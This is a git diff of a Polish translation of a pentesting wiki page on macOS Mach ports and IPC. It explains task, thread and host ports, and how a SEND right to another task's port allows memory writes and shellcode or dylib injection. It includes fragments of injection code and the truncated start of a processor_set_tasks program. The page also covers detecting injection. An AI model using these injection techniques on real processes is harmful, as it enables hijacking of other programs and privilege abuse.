Wiadomości są następnie tworzone przez nagłówek **`mach_msg_header_t`**, a następnie przez **ciało** i **stopkę** (jeśli jest) oraz mogą przyznać uprawnienie do odpowiedzi. W tych przypadkach jądro musi tylko przekazać wiadomość z jednego zadania do drugiego.
|
||||
|
||||
**Stopka** to **informacje dodane do wiadomości przez jądro** (nie można ich ustawić przez użytkownika), które mogą być żądane podczas odbierania wiadomości za pomocą flag `MACH_RCV_TRAILER_<trailer_opt>` (istnieje różne informacje, które można żądać).
|
||||
**Stopka** to **informacje dodane do wiadomości przez jądro** (nie można ich ustawić przez użytkownika), które można zażądać podczas odbierania wiadomości za pomocą flag `MACH_RCV_TRAILER_<trailer_opt>` (istnieje różne informacje, które można zażądać).
|
||||
|
||||
#### Skomplikowane Wiadomości
|
||||
|
||||
|
@ -164,32 +164,32 @@ unsigned int pad3 : 24;
|
|||
mach_msg_descriptor_type_t type : 8;
|
||||
} mach_msg_type_descriptor_t;
|
||||
```
|
||||
W 32-bitowych systemach wszystkie deskryptory mają 12 bajtów, a typ deskryptora znajduje się w jedenastym. W 64-bitowych systemach rozmiary są zróżnicowane.
|
||||
W 32-bitowej architekturze wszystkie deskryptory mają 12 bajtów, a typ deskryptora znajduje się w jedenastym. W 64-bitowej architekturze rozmiary są zróżnicowane.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Jądro skopiuje deskryptory z jednego zadania do drugiego, ale najpierw **utworzy kopię w pamięci jądra**. Ta technika, znana jako "Feng Shui", została wykorzystana w kilku exploitach do zmuszenia **jądra do kopiowania danych w swojej pamięci**, umożliwiając procesowi wysłanie deskryptorów do samego siebie. Następnie proces może odebrać wiadomości (jądro je zwolni).
|
||||
Jądro skopiuje deskryptory z jednego zadania do drugiego, ale najpierw **tworzy kopię w pamięci jądra**. Ta technika, znana jako "Feng Shui", została wykorzystana w kilku exploitach do zmuszenia **jądra do kopiowania danych w swojej pamięci**, umożliwiając procesowi wysłanie deskryptorów do samego siebie. Następnie proces może odebrać wiadomości (jądro je zwolni).
|
||||
|
||||
Istnieje także możliwość **przesłania praw portu do podatnego procesu**, a prawa portu pojawią się w procesie (nawet jeśli nie są obsługiwane).
|
||||
{% endhint %}
|
||||
|
||||
### API portów Mac
|
||||
### Interfejsy API portów Mac
|
||||
|
||||
Zauważ, że porty są powiązane z przestrzenią nazw zadania, więc aby utworzyć lub wyszukać port, przestrzeń nazw zadania jest również przeszukiwana (więcej w `mach/mach_port.h`):
|
||||
|
||||
* **`mach_port_allocate` | `mach_port_construct`**: **Utwórz** port.
|
||||
* `mach_port_allocate` może również utworzyć **zestaw portów**: prawo odbioru w grupie portów. Za każdym razem, gdy zostanie odebrana wiadomość, wskazane jest źródło portu.
|
||||
* `mach_port_allocate_name`: Zmień nazwę portu (domyślnie 32-bitowa liczba całkowita).
|
||||
* `mach_port_names`: Pobierz nazwy portów z docelowego.
|
||||
* `mach_port_type`: Pobierz prawa zadania do nazwy.
|
||||
* `mach_port_rename`: Zmień nazwę portu (jak dup2 dla FD).
|
||||
* `mach_port_allocate`: Przydziel nowy ODBIÓR, ZESTAW_PORTÓW lub DEAD_NAME.
|
||||
* `mach_port_insert_right`: Utwórz nowe prawo w porcie, w którym masz ODBIÓR.
|
||||
* `mach_port_allocate_name`: Zmień nazwę portu (domyślnie 32-bitowa liczba całkowita)
|
||||
* `mach_port_names`: Pobierz nazwy portów z docelowego
|
||||
* `mach_port_type`: Pobierz prawa zadania do nazwy
|
||||
* `mach_port_rename`: Zmień nazwę portu (jak dup2 dla FD)
|
||||
* `mach_port_allocate`: Przydziel nowy ODBIÓR, ZESTAW_PORTÓW lub DEAD_NAME
|
||||
* `mach_port_insert_right`: Utwórz nowe prawo w porcie, w którym masz ODBIÓR
|
||||
* `mach_port_...`
|
||||
* **`mach_msg`** | **`mach_msg_overwrite`**: Funkcje używane do **wysyłania i odbierania wiadomości mach**. Wersja nadpisania pozwala określić inny bufor do odbioru wiadomości (w przeciwnym razie zostanie on po prostu ponownie użyty).
|
||||
* **`mach_msg`** | **`mach_msg_overwrite`**: Funkcje używane do **wysyłania i odbierania wiadomości mach**. Wersja nadpisania pozwala określić inny bufor do odbioru wiadomości (w przeciwnym razie zostanie on ponownie użyty).
|
||||
|
||||
### Debugowanie mach\_msg
|
||||
|
||||
Ponieważ funkcje **`mach_msg`** i **`mach_msg_overwrite`** są używane do wysyłania i odbierania wiadomości, ustawienie punktu przerwania na nich pozwoli na zbadanie wysłanych i odebranych wiadomości.
|
||||
Ponieważ funkcje **`mach_msg`** i **`mach_msg_overwrite`** są używane do wysyłania i odbierania wiadomości, ustawienie punktu przerwania na nich pozwoliłoby na zbadanie wysłanych i odebranych wiadomości.
|
||||
|
||||
Na przykład, rozpocznij debugowanie dowolnej aplikacji, którą można debugować, ponieważ załaduje **`libSystem.B, która będzie używać tej funkcji**.
|
||||
|
||||
|
@ -284,11 +284,11 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
|||
+ send -------- --- 1 <- 0x00002603 (74295) passd
|
||||
[...]
|
||||
```
|
||||
Nazwa to domyślna nazwa nadana portowi (sprawdź, jak zwiększa się ona w pierwszych 3 bajtach). `ipc-object` to zasłonięty unikalny identyfikator portu.\
|
||||
Zauważ również, jak porty z tylko prawem `send` identyfikują właściciela (nazwa portu + pid).\
|
||||
Zauważ także użycie `+` do wskazania innych zadań połączonych z tym samym portem.
|
||||
Nazwa to domyślna nazwa nadana portowi (sprawdź, jak **zwiększa się** w pierwszych 3 bajtach). **`ipc-object`** to **zakamuflowany** unikalny **identyfikator** portu.\
|
||||
Zauważ również, jak porty z tylko prawem **`send`** **identyfikują właściciela** (nazwa portu + pid).\
|
||||
Zauważ także użycie **`+`** do wskazania, że **inne zadania są połączone z tym samym portem**.
|
||||
|
||||
Można również użyć [procesxp](https://www.newosxbook.com/tools/procexp.html), aby zobaczyć zarejestrowane nazwy usług (z wyłączonym SIP z powodu potrzeby `com.apple.system-task-port`):
|
||||
Można również użyć [**procesxp**](https://www.newosxbook.com/tools/procexp.html), aby zobaczyć również **zarejestrowane nazwy usług** (z wyłączonym SIP z powodu potrzeby `com.apple.system-task-port`):
|
||||
```
|
||||
procesp 1 ports
|
||||
```
|
||||
|
@ -367,7 +367,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}Wysyłanie komunikatu IPC do odbiorcy za pomocą kolejki komunikatów POSIX. Używane do demonstracji ataku na komunikację międzyprocesową w systemie macOS. %}
|
||||
{% tab title="sender.c" %}Wysyłający proces tworzy kolejkę komunikatów IPC i wysyła komunikat do odbierającego procesu. Ten program demonstruje prosty przykład komunikacji międzyprocesowej za pomocą kolejek komunikatów IPC w systemie macOS. %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -430,19 +430,19 @@ Istnieją pewne specjalne porty, które pozwalają **wykonywać określone wraż
|
|||
|
||||
Te porty są reprezentowane przez numer.
|
||||
|
||||
Prawa **SEND** można uzyskać, wywołując **`host_get_special_port`**, a prawa **RECEIVE** wywołując **`host_set_special_port`**. Jednak oba wywołania wymagają portu **`host_priv`**, do którego dostęp ma tylko root. Ponadto w przeszłości root mógł wywołać **`host_set_special_port`** i przejąć dowolny port, co pozwalało na przykład na obejście sygnatur kodu, przejmując `HOST_KEXTD_PORT` (SIP teraz zapobiega temu).
|
||||
Prawa **SEND** można uzyskać, wywołując **`host_get_special_port`**, a prawa **RECEIVE** wywołując **`host_set_special_port`**. Jednak oba wywołania wymagają portu **`host_priv`**, do którego dostęp ma tylko root. Ponadto w przeszłości root mógł wywołać **`host_set_special_port`** i przejąć dowolny port, co pozwalało na przykład na obejście sygnatur kodu poprzez przejęcie `HOST_KEXTD_PORT` (SIP teraz zapobiega temu).
|
||||
|
||||
Porty te są podzielone na 2 grupy: **pierwsze 7 portów należą do jądra**, gdzie 1 to `HOST_PORT`, 2 to `HOST_PRIV_PORT`, 3 to `HOST_IO_MASTER_PORT`, a 7 to `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Te zaczynające się **od numeru 8 należą do demonów systemowych** i można je znaleźć zadeklarowane w [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html).
|
||||
|
||||
* **Port hosta**: Jeśli proces ma **uprawnienia SEND** do tego portu, może uzyskać **informacje** o **systemie**, wywołując jego rutyny, takie jak:
|
||||
* **Port hosta**: Jeśli proces ma **przywilej SEND** nad tym portem, może uzyskać **informacje** o **systemie**, wywołując jego rutyny, takie jak:
|
||||
* `host_processor_info`: Pobierz informacje o procesorze
|
||||
* `host_info`: Pobierz informacje o hoście
|
||||
* `host_virtual_physical_table_info`: Informacje o tabeli stron wirtualnych/fizycznych (wymaga MACH\_VMDEBUG)
|
||||
* `host_virtual_physical_table_info`: Tabela stron wirtualnych/fizycznych (wymaga MACH\_VMDEBUG)
|
||||
* `host_statistics`: Pobierz statystyki hosta
|
||||
* `mach_memory_info`: Pobierz układ pamięci jądra
|
||||
* **Port hosta Priv**: Proces z prawem **SEND** do tego portu może wykonywać **przywilejowane czynności**, takie jak wyświetlanie danych rozruchowych lub próba załadowania rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
* Ponadto, aby wywołać API **`kext_request`**, konieczne jest posiadanie innych uprawnień **`com.apple.private.kext*`**, które są udzielane tylko binariom Apple.
|
||||
* **Port hosta Priv**: Proces z uprawnieniem **SEND** nad tym portem może wykonywać **przywilejowane czynności**, takie jak wyświetlanie danych rozruchowych lub próba ładowania rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
* Ponadto, aby wywołać interfejs API **`kext_request`**, konieczne jest posiadanie innych uprawnień **`com.apple.private.kext*`**, które są udzielane tylko binariom Apple.
|
||||
* Inne rutyny, które można wywołać, to:
|
||||
* `host_get_boot_info`: Pobierz `machine_boot_info()`
|
||||
* `host_priv_statistics`: Pobierz przywilejowane statystyki
|
||||
|
@ -455,44 +455,78 @@ Możliwe jest **zobaczenie wszystkich specjalnych portów hosta**, uruchamiając
|
|||
```bash
|
||||
procexp all ports | grep "HSP"
|
||||
```
|
||||
### Zadanie Specjalne Porty
|
||||
|
||||
Są to porty zarezerwowane dla dobrze znanych usług. Można je uzyskać/ustawić, wywołując `task_[get/set]_special_port`. Można je znaleźć w pliku `task_special_ports.h`:
|
||||
```c
|
||||
typedef int task_special_port_t;
|
||||
|
||||
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
|
||||
world.*/
|
||||
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
|
||||
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
Z [tutaj](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html):
|
||||
|
||||
* **TASK\_KERNEL\_PORT**\[wysyłka prawej strony task-self]: Port używany do kontrolowania tego zadania. Służy do wysyłania wiadomości, które wpływają na zadanie. Jest to port zwracany przez **mach\_task\_self (patrz Porty Zadań poniżej)**.
|
||||
* **TASK\_BOOTSTRAP\_PORT**\[wysyłka prawej strony bootstrap]: Port rozruchowy zadania. Służy do wysyłania wiadomości żądających zwrotu innych portów usług systemowych.
|
||||
* **TASK\_HOST\_NAME\_PORT**\[wysyłka prawej strony host-self]: Port używany do żądania informacji o zawierającym hoście. Jest to port zwracany przez **mach\_host\_self**.
|
||||
* **TASK\_WIRED\_LEDGER\_PORT**\[wysyłka prawej strony ledger]: Port określający źródło, z którego to zadanie pobiera swoją przewodzoną pamięć jądra.
|
||||
* **TASK\_PAGED\_LEDGER\_PORT**\[wysyłka prawej strony ledger]: Port określający źródło, z którego to zadanie pobiera swoją domyślną pamięć zarządzaną pamięcią.
|
||||
|
||||
### Porty Zadań
|
||||
|
||||
Początkowo Mach nie miał "procesów", miał "zadania", które były uważane za bardziej jak kontenery wątków. Kiedy Mach został połączony z BSD, **każde zadanie było powiązane z procesem BSD**. Dlatego każdy proces BSD ma szczegóły potrzebne do bycia procesem, a każde zadanie Mach również ma swoje wewnętrzne działanie (z wyjątkiem nieistniejącego pid 0, który jest `kernel_task`).
|
||||
Początkowo Mach nie miał "procesów", miał "zadania", które były uważane bardziej za kontenery wątków. Kiedy Mach został połączony z BSD, **każde zadanie zostało skorelowane z procesem BSD**. Dlatego każdy proces BSD ma szczegóły potrzebne do bycia procesem, a każde zadanie Mach również ma swoje wewnętrzne działanie (z wyjątkiem nieistniejącego pid 0, który jest `kernel_task`).
|
||||
|
||||
Istnieją dwie bardzo interesujące funkcje z tym związane:
|
||||
Istnieją dwie bardzo interesujące funkcje związane z tym:
|
||||
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Pobierz prawo `SEND` dla portu zadania związane z określonym przez `pid` i przekaż je do wskazanego `target_task_port` (który zazwyczaj jest zadaniem wywołującym, które użyło `mach_task_self()`, ale może być portem `SEND` w innym zadaniu).
|
||||
- `pid_for_task(task, &pid)`: Mając prawo `SEND` do zadania, znajdź, do którego PID jest to zadanie powiązane.
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Pobierz prawo WYSYŁKI dla portu zadania związane z określonym przez `pid` i przekaż je do wskazanego `target_task_port` (który zazwyczaj jest zadaniem wywołującym, które użyło `mach_task_self()`, ale może być portem WYSYŁKI do innego zadania.)
|
||||
* `pid_for_task(task, &pid)`: Mając prawo WYSYŁKI do zadania, znajdź, do którego PID jest to zadanie powiązane.
|
||||
|
||||
Aby wykonywać czynności wewnątrz zadania, zadanie potrzebowało prawa `SEND` do siebie, wywołując `mach_task_self()` (które używa `task_self_trap` (28)). Dzięki temu uprawnieniu zadanie może wykonać kilka czynności, takich jak:
|
||||
Aby wykonywać działania wewnątrz zadania, zadanie potrzebowało prawa WYSYŁKI do siebie, wywołując `mach_task_self()` (które używa `task_self_trap` (28)). Dzięki temu uprawnieniu zadanie może wykonać kilka działań, takich jak:
|
||||
|
||||
- `task_threads`: Pobierz prawo `SEND` do wszystkich portów zadań wątków zadania
|
||||
- `task_info`: Pobierz informacje o zadaniu
|
||||
- `task_suspend/resume`: Wstrzymaj lub wznow zadanie
|
||||
- `task_[get/set]_special_port`
|
||||
- `thread_create`: Utwórz wątek
|
||||
- `task_[get/set]_state`: Kontroluj stan zadania
|
||||
- i więcej można znaleźć w [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
|
||||
* `task_threads`: Pobierz prawo WYSYŁKI do wszystkich portów zadań wątków zadania
|
||||
* `task_info`: Pobierz informacje o zadaniu
|
||||
* `task_suspend/resume`: Wstrzymaj lub wznow zadanie
|
||||
* `task_[get/set]_special_port`
|
||||
* `thread_create`: Utwórz wątek
|
||||
* `task_[get/set]_state`: Kontroluj stan zadania
|
||||
* i więcej można znaleźć w [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że posiadając prawo `SEND` do portu zadania z **innego zadania**, możliwe jest wykonanie takich działań na innym zadaniu.
|
||||
Zauważ, że mając prawo WYSYŁKI do portu zadania z **innego zadania**, możliwe jest wykonanie takich działań na innym zadaniu.
|
||||
{% endhint %}
|
||||
|
||||
Co więcej, port zadania jest również portem **`vm_map`**, co pozwala na **odczyt i manipulację pamięcią** wewnątrz zadania za pomocą funkcji takich jak `vm_read()` i `vm_write()`. Oznacza to w zasadzie, że zadanie posiadające prawa `SEND` do portu zadania innego zadania będzie mogło **wstrzyknąć kod do tego zadania**.
|
||||
Ponadto, port zadania jest również **portem `vm_map`**, który pozwala na **odczyt i manipulację pamięcią** wewnątrz zadania za pomocą funkcji takich jak `vm_read()` i `vm_write()`. Oznacza to w zasadzie, że zadanie mające prawa WYSYŁKI do portu zadania innego zadania będzie w stanie **wstrzyknąć kod do tego zadania**.
|
||||
|
||||
Pamiętaj, że ponieważ **jądro jest również zadaniem**, jeśli ktoś uzyska **uprawnienia SEND** do **`kernel_task`**, będzie mógł sprawić, że jądro wykona cokolwiek (jailbreak).
|
||||
Pamiętaj, że ponieważ **jądro jest również zadaniem**, jeśli ktoś uzyska **uprawnienia WYSYŁKI** do **`kernel_task`**, będzie w stanie sprawić, że jądro wykona cokolwiek (jailbreak).
|
||||
|
||||
- Wywołaj `mach_task_self()` aby **uzyskać nazwę** tego portu dla zadania wywołującego. Ten port jest dziedziczony tylko podczas **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (w szczególnym przypadku, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) podczas `fork()`.
|
||||
- Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnej `AppleMobileFileIntegrity`):
|
||||
- Jeśli aplikacja ma uprawnienie **`com.apple.security.get-task-allow`**, procesy z **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zazwyczaj dodawane przez Xcode do debugowania). Proces notaryzacji nie zezwoli na to w wersjach produkcyjnych.
|
||||
- Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać port zadania dla dowolnego procesu, z wyjątkiem jądra. W starszych wersjach nazywane to było **`task_for_pid-allow`**. Udzielane jest to tylko aplikacjom Apple.
|
||||
- **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **zabezpieczonym** środowiskiem wykonawczym (i nie od Apple).
|
||||
* Wywołaj `mach_task_self()` aby **uzyskać nazwę** tego portu dla zadania wywołującego. Ten port jest dziedziczony tylko podczas **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (jako szczególny przypadek, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) podczas `fork()`.
|
||||
* Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnego pliku `AppleMobileFileIntegrity`):
|
||||
* Jeśli aplikacja ma uprawnienie **`com.apple.security.get-task-allow`**, procesy od **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zazwyczaj dodawane przez Xcode do debugowania). Proces notaryzacji nie zezwoli na to w wersjach produkcyjnych.
|
||||
* Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywano to **`task_for_pid-allow`**. Jest to przyznawane tylko aplikacjom Apple.
|
||||
* **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **utwardzonym** środowiskiem wykonawczym (i nie od Apple).
|
||||
|
||||
**Port nazwy zadania:** Nieprzywilejowana wersja _portu zadania_. Odwołuje się do zadania, ale nie pozwala na jego kontrolę. Jedyną dostępną rzeczą poprzez niego wydaje się być `task_info()`.
|
||||
**Port nazwy zadania:** Nieuprzywilejowana wersja _portu zadania_. Odwołuje się do zadania, ale nie pozwala na jego kontrolowanie. Jedyną dostępną rzeczą poprzez niego wydaje się być `task_info()`.
|
||||
|
||||
### Wstrzyknięcie kodu Shell w wątek poprzez port zadania
|
||||
### Porty Wątków
|
||||
|
||||
Możesz pobrać kod shell z:
|
||||
Wątki również mają powiązane porty, które są widoczne dla zadania wywołującego **`task_threads`** i dla procesora z `processor_set_threads`. Prawo WYSYŁKI do portu wątku pozwala na korzystanie z funkcji z podsystemu `thread_act`, takich jak:
|
||||
|
||||
* `thread_terminate`
|
||||
* `thread_[get/set]_state`
|
||||
* `act_[get/set]_state`
|
||||
* `thread_[suspend/resume]`
|
||||
* `thread_info`
|
||||
* ...
|
||||
|
||||
Każdy wątek może uzyskać ten port, wywołując **`mach_thread_sef`**.
|
||||
|
||||
### Wstrzykiwanie kodu Shellcode w wątek poprzez port zadania
|
||||
|
||||
Możesz pobrać kod shellcode z:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -544,7 +578,7 @@ return 0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Skompiluj** poprzedni program i dodaj **uprawnienia** umożliwiające wstrzykiwanie kodu przez tego samego użytkownika (w przeciwnym razie będziesz musiał użyć **sudo**).
|
||||
**Skompiluj** poprzedni program i dodaj **uprawnienia** umożliwiające wstrzykiwanie kodu z tym samym użytkownikiem (w przeciwnym razie będziesz musiał użyć **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -754,21 +788,21 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
./inject <pi or string>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aby to działało na iOS, potrzebujesz uprawnienia `dynamic-codesigning`, aby móc sprawić, że pamięć zapisywalna będzie wykonywalna.
|
||||
Aby to działało na iOS, potrzebujesz uprawnienia `dynamic-codesigning`, aby móc uczynić pamięć zapisywalną jako wykonywalną.
|
||||
{% endhint %}
|
||||
|
||||
### Wstrzykiwanie Dylib w wątek za pomocą portu zadania
|
||||
|
||||
W systemie macOS **wątki** mogą być manipulowane za pomocą **Mach** lub za pomocą **api `pthread` posix**. Wątek, który wygenerowaliśmy w poprzednim wstrzykiwaniu, został wygenerowany za pomocą api Mach, więc **nie jest zgodny z posix**.
|
||||
W systemie macOS **wątki** mogą być manipulowane za pomocą **Mach** lub za pomocą **interfejsu `pthread` posix**. Wątek wygenerowany w poprzednim wstrzykiwaniu został wygenerowany za pomocą interfejsu Mach, więc **nie jest zgodny z posix**.
|
||||
|
||||
Było możliwe **wstrzyknięcie prostego kodu shell** do wykonania polecenia, ponieważ **nie musiał współpracować z api zgodnymi z posix**, a jedynie z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
Było możliwe **wstrzyknięcie prostego kodu shell** do wykonania polecenia, ponieważ **nie musiał on działać z interfejsami zgodnymi z posix**, a jedynie z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
|
||||
Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, który **utworzy prawidłowy wątek pthread**. Następnie ten nowy wątek pthread mógłby **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisać nowy kod shell do wykonania różnych działań, można załadować niestandardowe biblioteki.
|
||||
Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, który **utworzy prawidłowy wątek pthread**. Następnie ten nowy wątek pthread mógłby **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisania nowego kodu shell do wykonania różnych działań, można załadować niestandardowe biblioteki.
|
||||
|
||||
Możesz znaleźć **przykładowe dyliby** w (na przykład ten, który generuje logi, a następnie możesz ich słuchać):
|
||||
|
||||
{% content-ref url="../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-library-injection/macos-dyld-hijacking-and-dyld\_insert_libraries.md)
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
@ -982,7 +1016,7 @@ fprintf(stderr,"Nie można ustawić uprawnień pamięci dla kodu zdalnego wątku
|
|||
return (-4);
|
||||
}
|
||||
|
||||
// Ustaw uprawnienia na przydzielonej pamięci stosu
|
||||
// Ustawienie uprawnień na przydzielonej pamięci stosu
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
|
@ -992,7 +1026,7 @@ return (-4);
|
|||
}
|
||||
|
||||
|
||||
// Utwórz wątek do uruchomienia shellcode'u
|
||||
// Utworzenie wątku do uruchomienia shellcode'u
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
|
@ -1008,7 +1042,7 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Zdalny stos 64 0x%llx, Zdalny kod to %p\n", remoteStack64, p );
|
||||
printf ("Stos zdalny 64 0x%llx, Kod zdalny to %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
@ -1058,49 +1092,192 @@ W tej technice przechwytywany jest wątek procesu:
|
|||
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Wykrywanie Wstrzykiwania Portu Zadania
|
||||
|
||||
Podczas wywoływania `task_for_pid` lub `thread_create_*` zwiększa się licznik w strukturze zadania z jądra, do którego można uzyskać dostęp z poziomu użytkownika, wywołując task\_info(task, TASK\_EXTMOD\_INFO, ...)
|
||||
|
||||
## Porty Wyjątków
|
||||
|
||||
Gdy wystąpi wyjątek w wątku, ten wyjątek jest wysyłany do wyznaczonego portu wyjątku w wątku. Jeśli wątek go nie obsługuje, zostaje wysłany do portów wyjątków zadania. Jeśli zadanie go nie obsługuje, zostaje wysłany do portu hosta, który jest zarządzany przez launchd (gdzie zostanie potwierdzony). Nazywa się to triażem wyjątków.
|
||||
|
||||
Należy zauważyć, że zazwyczaj, jeśli raport nie zostanie odpowiednio obsłużony, zostanie on ostatecznie obsłużony przez demona ReportCrash. Niemniej jednak inny wątek w tym samym zadaniu może zarządzać wyjątkiem, o to właśnie dbają narzędzia do raportowania awarii, takie jak `PLCrashReporter`.
|
||||
|
||||
## Inne Obiekty
|
||||
|
||||
### Zegar
|
||||
|
||||
Każdy użytkownik może uzyskać dostęp do informacji o zegarze, jednak aby ustawić czas lub modyfikować inne ustawienia, trzeba być użytkownikiem root.
|
||||
|
||||
Aby uzyskać informacje, można wywołać funkcje z podsystemu `clock`, takie jak: `clock_get_time`, `clock_get_attributtes` lub `clock_alarm`.\
|
||||
Aby modyfikować wartości, można użyć podsystemu `clock_priv` z funkcjami takimi jak `clock_set_time` i `clock_set_attributes`.
|
||||
|
||||
### Procesory i Zestaw Procesorów
|
||||
|
||||
Interfejsy programistyczne procesora pozwalają na kontrolę pojedynczego procesora logicznego, wywołując funkcje takie jak `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
|
||||
|
||||
Co więcej, interfejsy **zestawu procesorów** zapewniają możliwość grupowania wielu procesorów w grupę. Możliwe jest pobranie domyślnego zestawu procesorów, wywołując **`processor_set_default`**.\
|
||||
Oto kilka interesujących interfejsów API do interakcji z zestawem procesorów:
|
||||
|
||||
* `processor_set_statistics`
|
||||
* `processor_set_tasks`: Zwraca tablicę praw do wysyłania do wszystkich zadań wewnątrz zestawu procesorów
|
||||
* `processor_set_threads`: Zwraca tablicę praw do wysyłania do wszystkich wątków wewnątrz zestawu procesorów
|
||||
* `processor_set_stack_usage`
|
||||
* `processor_set_info`
|
||||
|
||||
Jak wspomniano w [**tym poście**](https://reverse.put.as/2014/05/05/about-the-processor\_set\_tasks-access-to-kernel-memory-vulnerability/), w przeszłości pozwalało to ominąć wcześniej wspomnioną ochronę, aby uzyskać porty zadań w innych procesach i kontrolować je, wywołując **`processor_set_tasks`** i uzyskując port hosta w każdym procesie.\
|
||||
Obecnie potrzebujesz uprawnień roota, aby użyć tej funkcji, a jest ona chroniona, więc będziesz mógł uzyskać te porty tylko w niechronionych procesach.
|
||||
|
||||
Możesz to wypróbować z:
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>kod processor_set_tasks</strong></summary>
|
||||
````c
|
||||
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
|
||||
//gcc ./port_pid.c -o port_pid
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <libproc.h>
|
||||
#include <mach/mach.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <mach/exception_types.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/host_priv.h>
|
||||
#include <mach/processor_set.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_info.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/thread_act.h>
|
||||
#include <mach/thread_info.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <sys/ptrace.h>
|
